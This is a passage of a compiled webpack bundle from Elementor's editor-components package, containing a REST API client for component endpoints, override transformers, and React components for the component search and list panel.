/******/ (function() { // webpackBootstrap
/******/ 	"use strict";
/******/ 	var __webpack_modules__ = ({

/***/ "./packages/packages/core/editor-components/src/api.ts":
/*!*************************************************************!*\
  !*** ./packages/packages/core/editor-components/src/api.ts ***!
  \*************************************************************/
/***/ (function(__unused_webpack_module, __webpack_exports__, __webpack_require__) {

__webpack_require__.r(__webpack_exports__);
/* harmony export */ __webpack_require__.d(__webpack_exports__, {
/* harmony export */   apiClient: function() { return /* binding */ apiClient; },
/* harmony export */   getParams: function() { return /* binding */ getParams; }
/* harmony export */ });
/* harmony import */ var _elementor_editor_v1_adapters__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! @elementor/editor-v1-adapters */ "@elementor/editor-v1-adapters");
/* harmony import */ var _elementor_editor_v1_adapters__WEBPACK_IMPORTED_MODULE_0___default = /*#__PURE__*/__webpack_require__.n(_elementor_editor_v1_adapters__WEBPACK_IMPORTED_MODULE_0__);
/* harmony import */ var _elementor_http_client__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! @elementor/http-client */ "@elementor/http-client");
/* harmony import */ var _elementor_http_client__WEBPACK_IMPORTED_MODULE_1___default = /*#__PURE__*/__webpack_require__.n(_elementor_http_client__WEBPACK_IMPORTED_MODULE_1__);


const BASE_URL = 'elementor/v1/components';
const getParams = id => ({
  action: 'get_document_config',
  unique_id: `document-config-${id}`,
  data: {
    id
  }
});
const apiClient = {
  get: () => (0,_elementor_http_client__WEBPACK_IMPORTED_MODULE_1__.httpService)().get(`${BASE_URL}`).then(res => res.data.data),
  create: payload => (0,_elementor_http_client__WEBPACK_IMPORTED_MODULE_1__.httpService)().post(`${BASE_URL}`, payload).then(res => res.data.data),
  updateStatuses: (ids, status) => (0,_elementor_http_client__WEBPACK_IMPORTED_MODULE_1__.httpService)().put(`${BASE_URL}/status`, {
    ids,
    status
  }),
  getComponentConfig: id => _elementor_editor_v1_adapters__WEBPACK_IMPORTED_MODULE_0__.ajax.load(getParams(id)),
  invalidateComponentConfigCache: id => _elementor_editor_v1_adapters__WEBPACK_IMPORTED_MODULE_0__.ajax.invalidateCache(getParams(id)),
  getComponentLockStatus: async componentId => await (0,_elementor_http_client__WEBPACK_IMPORTED_MODULE_1__.httpService)().get(`${BASE_URL}/lock-status`, {
    params: {
      componentId
    }
  }).then(res => {
    const {
      is_current_user_allow_to_edit: isAllowedToSwitchDocument,
      locked_by: lockedBy
    } = res.data.data;
    return {
      isAllowedToSwitchDocument,
      lockedBy: lockedBy || ''
    };
  }),
  lockComponent: async componentId => await (0,_elementor_http_client__WEBPACK_IMPORTED_MODULE_1__.httpService)().post(`${BASE_URL}/lock`, {
    componentId
  }).then(res => res.data),
  unlockComponent: async componentId => await (0,_elementor_http_client__WEBPACK_IMPORTED_MODULE_1__.httpService)().post(`${BASE_URL}/unlock`, {
    componentId
  }).then(res => res.data),
  getOverridableProps: async componentIds => await (0,_elementor_http_client__WEBPACK_IMPORTED_MODULE_1__.httpService)().get(`${BASE_URL}/overridable-props`, {
    params: {
      'componentIds[]': componentIds
    }
  }).then(res => res.data),
  updateArchivedComponents: async (componentIds, status) => await (0,_elementor_http_client__WEBPACK_IMPORTED_MODULE_1__.httpService)().post(`${BASE_URL}/archive`, {
    componentIds,
    status
  }).then(res => res.data.data),
  updateComponentTitle: (updatedComponentNames, status) => (0,_elementor_http_client__WEBPACK_IMPORTED_MODULE_1__.httpService)().post(`${BASE_URL}/update-titles`, {
    components: updatedComponentNames,
    status
  }).then(res => res.data.data),
  validate: async payload => await (0,_elementor_http_client__WEBPACK_IMPORTED_MODULE_1__.httpService)().post(`${BASE_URL}/create-validate`, payload).then(res => res.data)
};

/***/ }),

/***/ "./packages/packages/core/editor-components/src/component-instance-transformer.ts":
/*!****************************************************************************************!*\
  !*** ./packages/packages/core/editor-components/src/component-instance-transformer.ts ***!
  \****************************************************************************************/
/***/ (function(__unused_webpack_module, __webpack_exports__, __webpack_require__) {

__webpack_require__.r(__webpack_exports__);
/* harmony export */ __webpack_require__.d(__webpack_exports__, {
/* harmony export */   componentInstanceTransformer: function() { return /* binding */ componentInstanceTransformer; }
/* harmony export */ });
/* harmony import */ var _elementor_editor_canvas__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! @elementor/editor-canvas */ "@elementor/editor-canvas");
/* harmony import */ var _elementor_editor_canvas__WEBPACK_IMPORTED_MODULE_0___default = /*#__PURE__*/__webpack_require__.n(_elementor_editor_canvas__WEBPACK_IMPORTED_MODULE_0__);
/* harmony import */ var _elementor_store__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! @elementor/store */ "@elementor/store");
/* harmony import */ var _elementor_store__WEBPACK_IMPORTED_MODULE_1___default = /*#__PURE__*/__webpack_require__.n(_elementor_store__WEBPACK_IMPORTED_MODULE_1__);
/* harmony import */ var _store_store__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(/*! ./store/store */ "./packages/packages/core/editor-components/src/store/store.ts");
/* harmony import */ var _utils_component_document_data__WEBPACK_IMPORTED_MODULE_3__ = __webpack_require__(/*! ./utils/component-document-data */ "./packages/packages/core/editor-components/src/utils/component-document-data.ts");




const componentInstanceTransformer = (0,_elementor_editor_canvas__WEBPACK_IMPORTED_MODULE_0__.createTransformer)(async ({
  component_id: id,
  overrides: overridesValue
}) => {
  const unpublishedComponents = (0,_store_store__WEBPACK_IMPORTED_MODULE_2__.selectUnpublishedComponents)((0,_elementor_store__WEBPACK_IMPORTED_MODULE_1__.__getState)());
  const unpublishedComponent = unpublishedComponents.find(({
    uid
  }) => uid === id);
  const overrides = overridesValue?.reduce((acc, override) => ({
    ...acc,
    ...override
  }), {});
  if (unpublishedComponent) {
    return {
      elements: structuredClone(unpublishedComponent.elements),
      overrides
    };
  }
  if (typeof id !== 'number') {
    throw new Error(`Component ID "${id}" not valid.`);
  }
  const data = await (0,_utils_component_document_data__WEBPACK_IMPORTED_MODULE_3__.getComponentDocumentData)(id);
  return {
    elements: data?.elements ?? [],
    overrides
  };
});

/***/ }),

/***/ "./packages/packages/core/editor-components/src/component-overridable-transformer.ts":
/*!*******************************************************************************************!*\
  !*** ./packages/packages/core/editor-components/src/component-overridable-transformer.ts ***!
  \*******************************************************************************************/
/***/ (function(__unused_webpack_module, __webpack_exports__, __webpack_require__) {

__webpack_require__.r(__webpack_exports__);
/* harmony export */ __webpack_require__.d(__webpack_exports__, {
/* harmony export */   componentOverridableTransformer: function() { return /* binding */ componentOverridableTransformer; }
/* harmony export */ });
/* harmony import */ var _elementor_editor_canvas__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! @elementor/editor-canvas */ "@elementor/editor-canvas");
/* harmony import */ var _elementor_editor_canvas__WEBPACK_IMPORTED_MODULE_0___default = /*#__PURE__*/__webpack_require__.n(_elementor_editor_canvas__WEBPACK_IMPORTED_MODULE_0__);

const componentOverridableTransformer = (0,_elementor_editor_canvas__WEBPACK_IMPORTED_MODULE_0__.createTransformer)((value, options) => {
  const {
    overrides
  } = options.renderContext ?? {};
  const overrideValue = overrides?.[value.override_key];
  if (overrideValue) {
    const isOverride = isOriginValueOverride(value.origin_value);
    if (isOverride) {
      return transformOverride(value, options, overrideValue);
    }
    return overrideValue;
  }
  return value.origin_value;
});
function transformOverride(value, options, overrideValue) {
  const transformer = _elementor_editor_canvas__WEBPACK_IMPORTED_MODULE_0__.settingsTransformersRegistry.get('override');
  if (!transformer) {
    return null;
  }
  const transformedValue = transformer(value.origin_value.value, options);
  if (!transformedValue) {
    return null;
  }
  const [key] = Object.keys(transformedValue);
  return {
    [key]: overrideValue
  };
}
function isOriginValueOverride(originValue) {
  return originValue.$$type === 'override';
}

/***/ }),

/***/ "./packages/packages/core/editor-components/src/component-override-transformer.ts":
/*!****************************************************************************************!*\
  !*** ./packages/packages/core/editor-components/src/component-override-transformer.ts ***!
  \****************************************************************************************/
/***/ (function(__unused_webpack_module, __webpack_exports__, __webpack_require__) {

__webpack_require__.r(__webpack_exports__);
/* harmony export */ __webpack_require__.d(__webpack_exports__, {
/* harmony export */   componentOverrideTransformer: function() { return /* binding */ componentOverrideTransformer; }
/* harmony export */ });
/* harmony import */ var _elementor_editor_canvas__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! @elementor/editor-canvas */ "@elementor/editor-canvas");
/* harmony import */ var _elementor_editor_canvas__WEBPACK_IMPORTED_MODULE_0___default = /*#__PURE__*/__webpack_require__.n(_elementor_editor_canvas__WEBPACK_IMPORTED_MODULE_0__);

const componentOverrideTransformer = (0,_elementor_editor_canvas__WEBPACK_IMPORTED_MODULE_0__.createTransformer)(override => {
  const {
    override_key: key,
    override_value: overrideValue
  } = override;
  return {
    [key]: overrideValue
  };
});

/***/ }),

/***/ "./packages/packages/core/editor-components/src/components/components-tab/component-search.tsx":
/*!*****************************************************************************************************!*\
  !*** ./packages/packages/core/editor-components/src/components/components-tab/component-search.tsx ***!
  \*****************************************************************************************************/
/***/ (function(__unused_webpack_module, __webpack_exports__, __webpack_require__) {

__webpack_require__.r(__webpack_exports__);
/* harmony export */ __webpack_require__.d(__webpack_exports__, {
/* harmony export */   ComponentSearch: function() { return /* binding */ ComponentSearch; }
/* harmony export */ });
/* harmony import */ var react__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! react */ "react");
/* harmony import */ var react__WEBPACK_IMPORTED_MODULE_0___default = /*#__PURE__*/__webpack_require__.n(react__WEBPACK_IMPORTED_MODULE_0__);
/* harmony import */ var _elementor_icons__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! @elementor/icons */ "@elementor/icons");
/* harmony import */ var _elementor_icons__WEBPACK_IMPORTED_MODULE_1___default = /*#__PURE__*/__webpack_require__.n(_elementor_icons__WEBPACK_IMPORTED_MODULE_1__);
/* harmony import */ var _elementor_ui__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(/*! @elementor/ui */ "@elementor/ui");
/* harmony import */ var _elementor_ui__WEBPACK_IMPORTED_MODULE_2___default = /*#__PURE__*/__webpack_require__.n(_elementor_ui__WEBPACK_IMPORTED_MODULE_2__);
/* harmony import */ var _wordpress_i18n__WEBPACK_IMPORTED_MODULE_3__ = __webpack_require__(/*! @wordpress/i18n */ "@wordpress/i18n");
/* harmony import */ var _wordpress_i18n__WEBPACK_IMPORTED_MODULE_3___default = /*#__PURE__*/__webpack_require__.n(_wordpress_i18n__WEBPACK_IMPORTED_MODULE_3__);
/* harmony import */ var _search_provider__WEBPACK_IMPORTED_MODULE_4__ = __webpack_require__(/*! ./search-provider */ "./packages/packages/core/editor-components/src/components/components-tab/search-provider.tsx");





const ComponentSearch = () => {
  const {
    inputValue,
    handleChange
  } = (0,_search_provider__WEBPACK_IMPORTED_MODULE_4__.useSearch)();
  return /*#__PURE__*/react__WEBPACK_IMPORTED_MODULE_0__.createElement(_elementor_ui__WEBPACK_IMPORTED_MODULE_2__.Stack, {
    direction: "row",
    gap: 0.5,
    sx: {
      width: '100%',
      px: 2,
      py: 1.5
    }
  }, /*#__PURE__*/react__WEBPACK_IMPORTED_MODULE_0__.createElement(_elementor_ui__WEBPACK_IMPORTED_MODULE_2__.Box, {
    sx: {
      flexGrow: 1
    }
  }, /*#__PURE__*/react__WEBPACK_IMPORTED_MODULE_0__.createElement(_elementor_ui__WEBPACK_IMPORTED_MODULE_2__.TextField, {
    role: 'search',
    fullWidth: true,
    size: 'tiny',
    value: inputValue,
    placeholder: (0,_wordpress_i18n__WEBPACK_IMPORTED_MODULE_3__.__)('Search', 'elementor'),
    onChange: e => handleChange(e.target.value),
    InputProps: {
      startAdornment: /*#__PURE__*/react__WEBPACK_IMPORTED_MODULE_0__.createElement(_elementor_ui__WEBPACK_IMPORTED_MODULE_2__.InputAdornment, {
        position: "start"
      }, /*#__PURE__*/react__WEBPACK_IMPORTED_MODULE_0__.createElement(_elementor_icons__WEBPACK_IMPORTED_MODULE_1__.SearchIcon, {
        fontSize: 'tiny'
      }))
    }
  })));
};

/***/ }),

/***/ "./packages/packages/core/editor-components/src/components/components-tab/components-item.tsx":
/*!****************************************************************************************************!*\
  !*** ./packages/packages/core/editor-components/src/components/components-tab/components-item.tsx ***!
  \****************************************************************************************************/
/***/ (function(__unused_webpack_module, __webpack_exports__, __webpack_require__) {

__webpack_require__.r(__webpack_exports__);
/* harmony export */ __webpack_require__.d(__webpack_exports__, {
/* harmony export */   ComponentItem: function() { return /* binding */ ComponentItem; },
/* harmony export */   ComponentName: function() { return /* binding */ ComponentName; }
/* harmony export */ });
/* harmony import */ var react__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! react */ "react");
/* harmony import */ var react__WEBPACK_IMPORTED_MODULE_0___default = /*#__PURE__*/__webpack_require__.n(react__WEBPACK_IMPORTED_MODULE_0__);
/* harmony import */ var _elementor_editor_ui__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! @elementor/editor-ui */ "@elementor/editor-ui");
/* harmony import */ var _elementor_editor_ui__WEBPACK_IMPORTED_MODULE_1___default = /*#__PURE__*/__webpack_require__.n(_elementor_editor_ui__WEBPACK_IMPORTED_MODULE_1__);
/* harmony import */ var _elementor_icons__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(/*! @elementor/icons */ "@elementor/icons");
/* harmony import */ var _elementor_icons__WEBPACK_IMPORTED_MODULE_2___default = /*#__PURE__*/__webpack_require__.n(_elementor_icons__WEBPACK_IMPORTED_MODULE_2__);
/* harmony import */ var _elementor_ui__WEBPACK_IMPORTED_MODULE_3__ = __webpack_require__(/*! @elementor/ui */ "@elementor/ui");
/* harmony import */ var _elementor_ui__WEBPACK_IMPORTED_MODULE_3___default = /*#__PURE__*/__webpack_require__.n(_elementor_ui__WEBPACK_IMPORTED_MODULE_3__);
function _extends() { return _extends = Object.assign ? Object.assign.bind() : function (n) { for (var e = 1; e < arguments.length; e++) { var t = arguments[e]; for (var r in t) ({}).hasOwnProperty.call(t, r) && (n[r] = t[r]); } return n; }, _extends.apply(null, arguments); }





const ComponentItem = /*#__PURE__*/(0,react__WEBPACK_IMPORTED_MODULE_0__.forwardRef)(({
  component,
  disabled = true,
  draggable,
  onDragStart,
  onDragEnd,
  onClick,
  isEditing = false,
  error = null,
  nameSlot,
  endSlot,
  ...props
}, ref) => {
  return /*#__PURE__*/react__WEBPACK_IMPORTED_MODULE_0__.createElement(_elementor_ui__WEBPACK_IMPORTED_MODULE_3__.ListItemButton, _extends({
    disabled: disabled,
    draggable: draggable,
    onDragStart: onDragStart,
    onDragEnd: onDragEnd,
    shape: "rounded",
    ref: ref,
    sx: {
      border: 'solid 1px',
      borderColor: 'divider',
      py: 0.5,
      px: 1,
      display: 'flex',
      width: '100%',
      alignItems: 'center',
      gap: 1
    }
  }, props), /*#__PURE__*/react__WEBPACK_IMPORTED_MODULE_0__.createElement(_elementor_ui__WEBPACK_IMPORTED_MODULE_3__.Box, {
    display: "flex",
    alignItems: "center",
    gap: 1,
    minWidth: 0,
    flexGrow: 1,
    onClick: onClick
  }, /*#__PURE__*/react__WEBPACK_IMPORTED_MODULE_0__.createElement(_elementor_ui__WEBPACK_IMPORTED_MODULE_3__.ListItemIcon, {
    size: "tiny"
  }, /*#__PURE__*/react__WEBPACK_IMPORTED_MODULE_0__.createElement(_elementor_icons__WEBPACK_IMPORTED_MODULE_2__.ComponentsIcon, {
    fontSize: "tiny"
  })), /*#__PURE__*/react__WEBPACK_IMPORTED_MODULE_0__.createElement(Indicator, {
    isActive: isEditing,
    isError: !!error
  }, /*#__PURE__*/react__WEBPACK_IMPORTED_MODULE_0__.createElement(_elementor_ui__WEBPACK_IMPORTED_MODULE_3__.Box, {
    display: "flex",
    flex: 1,
    minWidth: 0,
    flexGrow: 1
  }, nameSlot ?? /*#__PURE__*/react__WEBPACK_IMPORTED_MODULE_0__.createElement(ComponentName, {
    name: component.name
  })))), endSlot);
});
const Indicator = (0,_elementor_ui__WEBPACK_IMPORTED_MODULE_3__.styled)(_elementor_ui__WEBPACK_IMPORTED_MODULE_3__.Box, {
  shouldForwardProp: prop => prop !== 'isActive' && prop !== 'isError'
})(({
  theme,
  isActive,
  isError
}) => ({
  display: 'flex',
  width: '100%',
  flexGrow: 1,
  borderRadius: theme.spacing(0.5),
  border: getIndicatorBorder({
    isActive,
    isError,
    theme
  }),
  padding: `0 ${theme.spacing(1)}`,
  marginLeft: isActive ? theme.spacing(1) : 0,
  minWidth: 0
}));
const getIndicatorBorder = ({
  isActive,
  isError,
  theme
}) => {
  if (isError) {
    return `2px solid ${theme.palette.error.main}`;
  }
  if (isActive) {
    return `2px solid ${theme.palette.secondary.main}`;
  }
  return 'none';
};
function ComponentName({
  name,
  editable
}) {
  if (editable?.isEditing) {
    return /*#__PURE__*/react__WEBPACK_IMPORTED_MODULE_0__.createElement(_elementor_editor_ui__WEBPACK_IMPORTED_MODULE_1__.EditableField, _extends({
      ref: editable.ref,
      as: _elementor_ui__WEBPACK_IMPORTED_MODULE_3__.Typography,
      variant: "caption"
    }, editable.getProps()));
  }
  return /*#__PURE__*/react__WEBPACK_IMPORTED_MODULE_0__.createElement(_elementor_editor_ui__WEBPACK_IMPORTED_MODULE_1__.EllipsisWithTooltip, {
    title: name,
    as: _elementor_ui__WEBPACK_IMPORTED_MODULE_3__.Typography,
    variant: "caption",
    color: "text.primary"
  });
}

/***/ }),

/***/ "./packages/packages/core/editor-components/src/components/components-tab/components-list.tsx":
/*!****************************************************************************************************!*\
  !*** ./packages/packages/core/editor-components/src/components/components-tab/components-list.tsx ***!
  \****************************************************************************************************/
/***/ (function(__unused_webpack_module, __webpack_exports__, __webpack_require__) {

__webpack_require__.r(__webpack_exports__);
/* harmony export */ __webpack_require__.d(__webpack_exports__, {
/* harmony export */   ComponentsList: function() { return /* binding */ ComponentsList; },
/* harmony export */   EmptySearchResult: function() { return /* binding */ EmptySearchResult; },
/* harmony export */   useFilteredComponents: function() { return /* binding */ useFilteredComponents; }
/* harmony export */ });
/* harmony import */ var react__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! react */ "react");
/* harmony import */ var react__WEBPACK_IMPORTED_MODULE_0___default = /*#__PURE__*/__webpack_require__.n(react__WEBPACK_IMPORTED_MODULE_0__);
/* harmony import */ var _elementor_icons__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! @elementor/icons */ "@elementor/icons");
/* harmony import */ var _elementor_icons__WEBPACK_IMPORTED_MODULE_1___default = /*#__PURE__*/__webpack_require__.n(_elementor_icons__WEBPACK_IMPORTED_MODULE_1__);
/* harmony import */ var _elementor_ui__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(/*! @elementor/ui */ "@elementor/ui");
/* harmony import */ var _elementor_ui__WEBPACK_IMPORTED_MODULE_2___default = /*#__PURE__*/__webpack_require__.n(_elementor_ui__WEBPACK_IMPORTED_MODULE_2__);
/* harmony import */ var _wordpress_i18n__WEBPACK_IMPORTED_MODULE_3__ = __webpack_require__(/*! @wordpress/i18n */ "@wordpress/i18n");
/* harmony import */ var _wordpress_i18n__WEBPACK_IMPORTED_MODULE_3___default = /*#__PURE__*/__webpack_require__.n(_wordpress_i18n__WEBPACK_IMPORTED_MODULE_3__);
/* harmony import */ var _hooks_use_components__WEBPACK_IMPORTED_MODULE_4__ = __webpack_require__(/*! ../../hooks/use-components */ "./packages/packages/core/editor-components/src/hooks/use-components.ts");
/* harmony import */ var _hooks_use_components_permissions__WEBPACK_IMPORTED_MODULE_5__ = __webpack_require__(/*! ../../hooks/use-components-permissions */ "./packages/packages/core/editor-components/src/hooks/use-components-permissions.ts");
/* harmony import */ var _utils_is_pro_components_supported__WEBPACK_IMPORTED_MODULE_6__ = __webpack_require__(/*! ../../utils/is-pro-components-supported */ "./packages/packages/core/editor-components/src/utils/is-pro-components-supported.ts");
/* harmony import */ var _components_item__WEBPACK_IMPORTED_MODULE_7__ = __webpack_require__(/*! ./components-item */ "./packages/packages/core/editor-components/src/components/components-tab/components-item.tsx");
/* harmony import */ var _loading_components__WEBPACK_IMPORTED_MODULE_8__ = __webpack_require__(/*! ./loading-components */ "./packages/packages/core/editor-components/src/components/components-tab/loading-components.tsx");
/* harmony import */ var _search_provider__WEBPACK_IMPORTED_MODULE_9__ = __webpack_require__(/*! ./search-provider */ "./packages/packages/core/editor-components/src/components/components-tab/search-provider.tsx");










const LEARN_MORE_URL = 'http://go.elementor.com/components-guide-article';
const UPGRADE_URL = 'https://go.elementor.com/go-pro-components/';
const UPDATE_PLUGINS_URL = '/wp-admin/plugins.php';

// Override legacy panel CSS reset that sets h1-h6 to font-size:100% and font-weight:normal.
// See: assets/dev/scss/editor/panel/_reset.scss (applied via :where() selector in panel.scss).
const SUBTITLE_OVERRIDE_SX = {
  fontSize: '0.875rem !important',
  fontWeight: '500 !important'
};
function ComponentsList() {
  const {
    components,
    isLoading,
    searchValue
  } = useFilteredComponents();
  if (isLoading) {
    return /*#__PURE__*/react__WEBPACK_IMPORTED_MODULE_0__.createElement(_loading_components__WEBPACK_IMPORTED_MODULE_8__.LoadingComponents, null);
  }
  const isEmpty = !components?.length;
  if (isEmpty) {
    if (searchValue.length) {
      return /*#__PURE__*/react__WEBPACK_IMPORTED_MODULE_0__.createElement(EmptySearchResult, null);
    }
    if ((0,_utils_is_pro_components_supported__WEBPACK_IMPORTED_MODULE_6__.isProOutdatedForComponents)()) {
      return /*#__PURE__*/react__WEBPACK_IMPORTED_MODULE_0__.createElement(ProOutdatedEmptyState, null);
    }
    return (0,_utils_is_pro_components_supported__WEBPACK_IMPORTED_MODULE_6__.isProComponentsSupported)() ? /*#__PURE__*/react__WEBPACK_IMPORTED_MODULE_0__.createElement(EmptyState, null) : /*#__PURE__*/react__WEBPACK_IMPORTED_MODULE_0__.createElement(ProUpgradeEmptyState, null);
  }
  return /*#__PURE__*/react__WEBPACK_IMPORTED_MODULE_0__.createElement(_elementor_ui__WEBPACK_IMPORTED_MODULE_2__.List, {
    sx: {
      display: 'flex',
      flexDirection: 'column',
      gap: 1,
      px: 2
    }
  }, components.map(component => /*#__PURE__*/react__WEBPACK_IMPORTED_MODULE_0__.createElement(_components_item__WEBPACK_IMPORTED_MODULE_7__.ComponentItem, {
    key: component.uid,
    component: component
  })));
}
const ProUpgradeEmptyState = () => {
  return /*#__PURE__*/react__WEBPACK_IMPORTED_MODULE_0__.createElement(_elementor_ui__WEBPACK_IMPORTED_MODULE_2__.Stack, {
    alignItems: "center",
    justifyContent: "start",
    height: "100%",
    sx: {
      px: 2,
      py: 4
    },
    gap: 2,
    overflow: "hidden"
  }, /*#__PURE__*/react__WEBPACK_IMPORTED_MODULE_0__.createElement(_elementor_ui__WEBPACK_IMPORTED_MODULE_2__.Stack, {
    alignItems: "center",
    gap: 1
  }, /*#__PURE__*/react__WEBPACK_IMPORTED_MODULE_0__.createElement(_elementor_icons__WEBPACK_IMPORTED_MODULE_1__.ComponentsIcon, {
    fontSize: "large",
    sx: {
      color: 'text.secondary'
    }
  }), /*#__PURE__*/react__WEBPACK_IMPORTED_MODULE_0__.createElement(_elementor_ui__WEBPACK_IMPORTED_MODULE_2__.Typography, {
    align: "center",
    variant: "subtitle2",
    color: "text.secondary",
    sx: SUBTITLE_OVERRIDE_SX
  }, (0,_wordpress_i18n__WEBPACK_IMPORTED_MODULE_3__.__)('Create Reusable Components', 'elementor')), /*#__PURE__*/react__WEBPACK_IMPORTED_MODULE_0__.createElement(_elementor_ui__WEBPACK_IMPORTED_MODULE_2__.Typography, {
    align: "center",
    variant: "caption",
    color: "secondary",
    sx: {
      maxWidth: 200
    }
  }, (0,_wordpress_i18n__WEBPACK_IMPORTED_MODULE_3__.__)('Create design elements that sync across your entire site.', 'elementor'))), /*#__PURE__*/react__WEBPACK_IMPORTED_MODULE_0__.createElement(_elementor_ui__WEBPACK_IMPORTED_MODULE_2__.Button, {
    variant: "contained",
    color: "promotion",
    size: "small",
    startIcon: /*#__PURE__*/react__WEBPACK_IMPORTED_MODULE_0__.createElement(_elementor_icons__WEBPACK_IMPORTED_MODULE_1__.CrownFilledIcon, null),
    href: UPGRADE_URL,
    target: "_blank",
    rel: "noopener noreferrer"
  }, (0,_wordpress_i18n__WEBPACK_IMPORTED_MODULE_3__.__)('Upgrade now', 'elementor')));
};
const ProOutdatedEmptyState = () => {
  return /*#__PURE__*/react__WEBPACK_IMPORTED_MODULE_0__.createElement(_elementor_ui__WEBPACK_IMPORTED_MODULE_2__.Stack, {
    alignItems: "center",
    justifyContent: "start",
    height: "100%",
    sx: {
      px: 2,
      py: 4,
      maxWidth: 268,
      m: 'auto'
    },
    gap: 2,
    overflow: "hidden"
  }, /*#__PURE__*/react__WEBPACK_IMPORTED_MODULE_0__.createElement(_elementor_ui__WEBPACK_IMPORTED_MODULE_2__.Stack, {
    alignItems: "center",
    gap: 1
  }, /*#__PURE__*/react__WEBPACK_IMPORTED_MODULE_0__.createElement(_elementor_icons__WEBPACK_IMPORTED_MODULE_1__.ComponentsIcon, {
    fontSize: "large",
    sx: {
      color: 'text.secondary'
    }
  }), /*#__PURE__*/react__WEBPACK_IMPORTED_MODULE_0__.createElement(_elementor_ui__WEBPACK_IMPORTED_MODULE_2__.Typography, {
    align: "center",
    variant: "subtitle2",
    color: "text.secondary",
    sx: SUBTITLE_OVERRIDE_SX
  }, (0,_wordpress_i18n__WEBPACK_IMPORTED_MODULE_3__.__)('Create Reusable Components', 'elementor')), /*#__PURE__*/react__WEBPACK_IMPORTED_MODULE_0__.createElement(_elementor_ui__WEBPACK_IMPORTED_MODULE_2__.Typography, {
    align: "center",
    variant: "caption",
    color: "secondary"
  }, (0,_wordpress_i18n__WEBPACK_IMPORTED_MODULE_3__.__)('Create design elements that sync across your entire site.', 'elementor')), /*#__PURE__*/react__WEBPACK_IMPORTED_MODULE_0__.createElement(_elementor_ui__WEBPACK_IMPORTED_MODULE_2__.Typography, {
    align: "center",
    variant: "caption",
    color: "secondary",
    sx: {
      mt: 1
    }
  }, (0,_wordpress_i18n__WEBPACK_IMPORTED_MODULE_3__.__)('To create components, update Elementor Pro to the latest version.', 'elementor'))), /*#__PURE__*/react__WEBPACK_IMPORTED_MODULE_0__.createElement(_elementor_ui__WEBPACK_IMPORTED_MODULE_2__.Button, {
    variant: "text",
    color: "info",
    size: "small",
    href: UPDATE_PLUGINS_URL,
    target: "_blank",
    rel: "noopener noreferrer"
  }, (0,_wordpress_i18n__WEBPACK_IMPORTED_MODULE_3__.__)('Update Elementor Pro', 'elementor')));
};
const EmptyState = () => {
  const {
    canCreate
  } = (0,_hooks_use_components_permissions__WEBPACK_IMPORTED_MODULE_5__.useComponentsPermissions)();
  return /*#__PURE__*/react__WEBPACK_IMPORTED_MODULE_0__.createElement(_elementor_ui__WEBPACK_IMPORTED_MODULE_2__.Stack, {
    alignItems: "center",
    justifyContent: "start",
    height: "100%",
    sx: {
      px: 2,
      py: 4
    },
    gap: 2,
    overflow: "hidden"
  }, /*#__PURE__*/react__WEBPACK_IMPORTED_MODULE_0__.createElement(_elementor_ui__WEBPACK_IMPORTED_MODULE_2__.Stack, {
    alignItems: "center",
    gap: 1
  }, /*#__PURE__*/react__WEBPACK_IMPORTED_MODULE_0__.createElement(_elementor_icons__WEBPACK_IMPORTED_MODULE_1__.ComponentsIcon, {
    fontSize: "large",
    sx: {
      color: 'text.secondary'
    }
  }), /*#__PURE__*/react__WEBPACK_IMPORTED_MODULE_0__.createElement(_elementor_ui__WEBPACK_IMPORTED_MODULE_2__.Typography, {
    align: "center",
    variant: "subtitle2",
    color: "text.secondary",
    sx: SUBTITLE_OVERRIDE_SX
  }, (0,_wordpress_i18n__WEBPACK_IMPORTED_MODULE_3__.__)('No components yet', 'elementor')), /*#__PURE__*/react__WEBPACK_IMPORTED_MODULE_0__.createElement(_elementor_ui__WEBPACK_IMPORTED_MODULE_2__.Typography, {
    align: "center",
    variant: "caption",
    color: "secondary",
    sx: {
      maxWidth: 200
    }
  }, (0,_wordpress_i18n__WEBPACK_IMPORTED_MODULE_3__.__)('Components are reusable blocks that sync across your site.', 'elementor'), /*#__PURE__*/react__WEBPACK_IMPORTED_MODULE_0__.createElement("br", null), canCreate ? (0,_wordpress_i18n__WEBPACK_IMPORTED_MODULE_3__.__)('Create once, use everywhere.', 'elementor') : (0,_wordpress_i18n__WEBPACK_IMPORTED_MODULE_3__.__)('With your current role, you cannot create components. Contact an administrator to create one.', 'elementor')), /*#__PURE__*/react__WEBPACK_IMPORTED_MODULE_0__.createElement(_elementor_ui__WEBPACK_IMPORTED_MODULE_2__.Link, {
    href: LEARN_MORE_URL,
    target: "_blank",
    rel: "noopener noreferrer",
    variant: "caption",
    color: "info.main"
  }, (0,_wordpress_i18n__WEBPACK_IMPORTED_MODULE_3__.__)('Learn more about components', 'elementor'))), canCreate && /*#__PURE__*/react__WEBPACK_IMPORTED_MODULE_0__.createElement(react__WEBPACK_IMPORTED_MODULE_0__.Fragment, null, /*#__PURE__*/react__WEBPACK_IMPORTED_MODULE_0__.createElement(_elementor_ui__WEBPACK_IMPORTED_MODULE_2__.Divider, {
    sx: {
      width: '100%'
    }
  }), /*#__PURE__*/react__WEBPACK_IMPORTED_MODULE_0__.createElement(_elementor_ui__WEBPACK_IMPORTED_MODULE_2__.Stack, {
    alignItems: "center",
    gap: 1,
    width: "100%"
  }, /*#__PURE__*/react__WEBPACK_IMPORTED_MODULE_0__.createElement(_elementor_ui__WEBPACK_IMPORTED_MODULE_2__.Typography, {
    align: "center",
    variant: "subtitle2",
    color: "text.secondary",
    sx: SUBTITLE_OVERRIDE_SX
